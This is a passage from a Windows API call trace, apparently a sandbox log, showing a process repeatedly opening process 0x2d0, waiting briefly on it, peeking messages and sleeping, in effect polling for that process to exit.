(dwMilliseconds=0x1) [0247.270] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.270] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.286] CloseHandle (hObject=0x2f8) returned 1 [0247.286] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.286] Sleep (dwMilliseconds=0x1) [0247.301] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.301] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.317] CloseHandle (hObject=0x2f8) returned 1 [0247.317] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.317] Sleep (dwMilliseconds=0x1) [0247.333] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.333] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.348] CloseHandle (hObject=0x2f8) returned 1 [0247.349] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.349] Sleep (dwMilliseconds=0x1) [0247.364] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.364] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.380] CloseHandle (hObject=0x2f8) returned 1 [0247.380] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.380] Sleep (dwMilliseconds=0x1) [0247.395] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.395] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.428] CloseHandle (hObject=0x2f8) returned 1 [0247.428] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.428] Sleep (dwMilliseconds=0x1) [0247.442] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.442] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.459] CloseHandle (hObject=0x2f8) returned 1 [0247.459] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.459] Sleep (dwMilliseconds=0x1) [0247.473] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.473] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.505] CloseHandle (hObject=0x2f8) returned 1 [0247.505] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.505] Sleep (dwMilliseconds=0x1) [0247.520] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.520] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.536] CloseHandle (hObject=0x2f8) returned 1 [0247.536] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.536] Sleep (dwMilliseconds=0x1) [0247.552] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.552] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.570] CloseHandle (hObject=0x2f8) returned 1 [0247.570] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.570] Sleep (dwMilliseconds=0x1) [0247.583] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.583] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.598] CloseHandle (hObject=0x2f8) returned 1 [0247.598] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.598] Sleep (dwMilliseconds=0x1) [0247.614] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.614] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.638] CloseHandle (hObject=0x2f8) returned 1 [0247.638] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.638] Sleep (dwMilliseconds=0x1) [0247.645] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.645] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.661] CloseHandle (hObject=0x2f8) returned 1 [0247.661] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.661] Sleep (dwMilliseconds=0x1) [0247.677] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.677] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.692] CloseHandle (hObject=0x2f8) returned 1 [0247.692] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.692] Sleep (dwMilliseconds=0x1) [0247.708] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.708] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.724] CloseHandle (hObject=0x2f8) returned 1 [0247.724] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.724] Sleep (dwMilliseconds=0x1) [0247.739] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.739] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.755] CloseHandle (hObject=0x2f8) returned 1 [0247.755] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.755] Sleep (dwMilliseconds=0x1) [0247.773] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.773] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.786] CloseHandle (hObject=0x2f8) returned 1 [0247.786] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.786] Sleep (dwMilliseconds=0x1) [0247.803] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.803] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.817] CloseHandle (hObject=0x2f8) returned 1 [0247.817] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.817] Sleep (dwMilliseconds=0x1) [0247.833] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.833] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.848] CloseHandle (hObject=0x2f8) returned 1 [0247.848] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.848] Sleep (dwMilliseconds=0x1) [0247.864] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.864] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.880] CloseHandle (hObject=0x2f8) returned 1 [0247.880] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.880] Sleep (dwMilliseconds=0x1) [0247.908] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.908] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.913] CloseHandle (hObject=0x2f8) returned 1 [0247.913] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.913] Sleep (dwMilliseconds=0x1) [0247.926] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.926] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.942] CloseHandle (hObject=0x2f8) returned 1 [0247.942] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.942] Sleep (dwMilliseconds=0x1) [0247.958] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.958] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.973] CloseHandle (hObject=0x2f8) returned 1 [0247.973] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.973] Sleep (dwMilliseconds=0x1) [0247.989] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.989] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.005] CloseHandle (hObject=0x2f8) returned 1 [0248.005] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.005] Sleep (dwMilliseconds=0x1) [0248.020] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.020] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.036] CloseHandle (hObject=0x2f8) returned 1 [0248.036] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.036] Sleep (dwMilliseconds=0x1) [0248.054] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.055] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.069] CloseHandle (hObject=0x2f8) returned 1 [0248.069] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.069] Sleep (dwMilliseconds=0x1) [0248.085] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.085] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.098] CloseHandle (hObject=0x2f8) returned 1 [0248.098] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.098] Sleep (dwMilliseconds=0x1) [0248.114] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.114] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.132] CloseHandle (hObject=0x2f8) returned 1 [0248.132] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.132] Sleep (dwMilliseconds=0x1) [0248.145] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.145] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.161] CloseHandle (hObject=0x2f8) returned 1 [0248.161] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.161] Sleep (dwMilliseconds=0x1) [0248.180] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.180] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.193] CloseHandle (hObject=0x2f8) returned 1 [0248.193] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.193] Sleep (dwMilliseconds=0x1) [0248.208] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.208] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.223] CloseHandle (hObject=0x2f8) returned 1 [0248.223] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.223] Sleep (dwMilliseconds=0x1) [0248.248] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.248] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.255] CloseHandle (hObject=0x2f8) returned 1 [0248.255] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.255] Sleep (dwMilliseconds=0x1) [0248.270] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.270] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.286] CloseHandle (hObject=0x2f8) returned 1 [0248.286] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.286] Sleep (dwMilliseconds=0x1) [0248.302] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.302] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.317] CloseHandle (hObject=0x2f8) returned 1 [0248.317] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.317] Sleep (dwMilliseconds=0x1) [0248.333] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.333] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.348] CloseHandle (hObject=0x2f8) returned 1 [0248.348] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.348] Sleep (dwMilliseconds=0x1) [0248.364] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.364] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.380] CloseHandle (hObject=0x2f8) returned 1 [0248.380] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.380] Sleep (dwMilliseconds=0x1) [0248.395] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.395] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.420] CloseHandle (hObject=0x2f8) returned 1 [0248.420] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.420] Sleep (dwMilliseconds=0x1) [0248.426] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.426] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.442] CloseHandle (hObject=0x2f8) returned 1 [0248.442] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.442] Sleep (dwMilliseconds=0x1) [0248.458] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.458] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.473] CloseHandle (hObject=0x2f8) returned 1 [0248.473] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.473] Sleep (dwMilliseconds=0x1) [0248.489] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.489] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.505] CloseHandle (hObject=0x2f8) returned 1 [0248.505] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.505] Sleep (dwMilliseconds=0x1) [0248.520] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.520] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.536] CloseHandle (hObject=0x2f8) returned 1 [0248.536] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.536] Sleep (dwMilliseconds=0x1) [0248.552] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.552] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.567] CloseHandle (hObject=0x2f8) returned 1 [0248.567] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.567] Sleep (dwMilliseconds=0x1) [0248.583] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.583] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.599] CloseHandle (hObject=0x2f8) returned 1 [0248.599] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.599] Sleep (dwMilliseconds=0x1) [0248.614] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.614] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.629] CloseHandle (hObject=0x2f8) returned 1 [0248.629] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.629] Sleep (dwMilliseconds=0x1) [0248.650] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.650] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.661] CloseHandle (hObject=0x2f8) returned 1 [0248.661] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.661] Sleep (dwMilliseconds=0x1) [0248.677] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.677] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.692] CloseHandle (hObject=0x2f8) returned 1 [0248.692] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.692] Sleep (dwMilliseconds=0x1) [0248.708] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.708] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.724] CloseHandle (hObject=0x2f8) returned 1 [0248.724] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.724] Sleep (dwMilliseconds=0x1) [0248.739] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.739] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.754] CloseHandle (hObject=0x2f8) returned 1 [0248.755] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.755] Sleep (dwMilliseconds=0x1) [0248.770] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.770] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.786] CloseHandle (hObject=0x2f8) returned 1 [0248.786] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.786] Sleep (dwMilliseconds=0x1) [0248.802] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.802] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.817] CloseHandle (hObject=0x2f8) returned 1 [0248.817] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.817] Sleep (dwMilliseconds=0x1) [0248.833] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.833] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.848] CloseHandle (hObject=0x2f8) returned 1 [0248.848] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.848] Sleep (dwMilliseconds=0x1) [0248.864] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.864] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.886] CloseHandle (hObject=0x2f8) returned 1 [0248.886] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.886] Sleep (dwMilliseconds=0x1) [0248.901] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.901] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.913] CloseHandle (hObject=0x2f8) returned 1 [0248.913] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.913] Sleep (dwMilliseconds=0x1) [0248.927] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.927] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.942] CloseHandle (hObject=0x2f8) returned 1 [0248.942] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.942] Sleep (dwMilliseconds=0x1) [0248.958] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.958] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0248.976] CloseHandle (hObject=0x2f8) returned 1 [0248.976] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0248.976] Sleep (dwMilliseconds=0x1) [0248.989] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0248.989] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.006] CloseHandle (hObject=0x2f8) returned 1 [0249.006] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.006] Sleep (dwMilliseconds=0x1) [0249.020] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.020] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.036] CloseHandle (hObject=0x2f8) returned 1 [0249.036] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.036] Sleep (dwMilliseconds=0x1) [0249.052] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.052] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.067] CloseHandle (hObject=0x2f8) returned 1 [0249.067] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.067] Sleep (dwMilliseconds=0x1) [0249.083] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.083] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0249.098] CloseHandle (hObject=0x2f8) returned 1 [0249.098] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0249.098] Sleep (dwMilliseconds=0x1) [0249.120] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0249.120] WaitForSingleObject 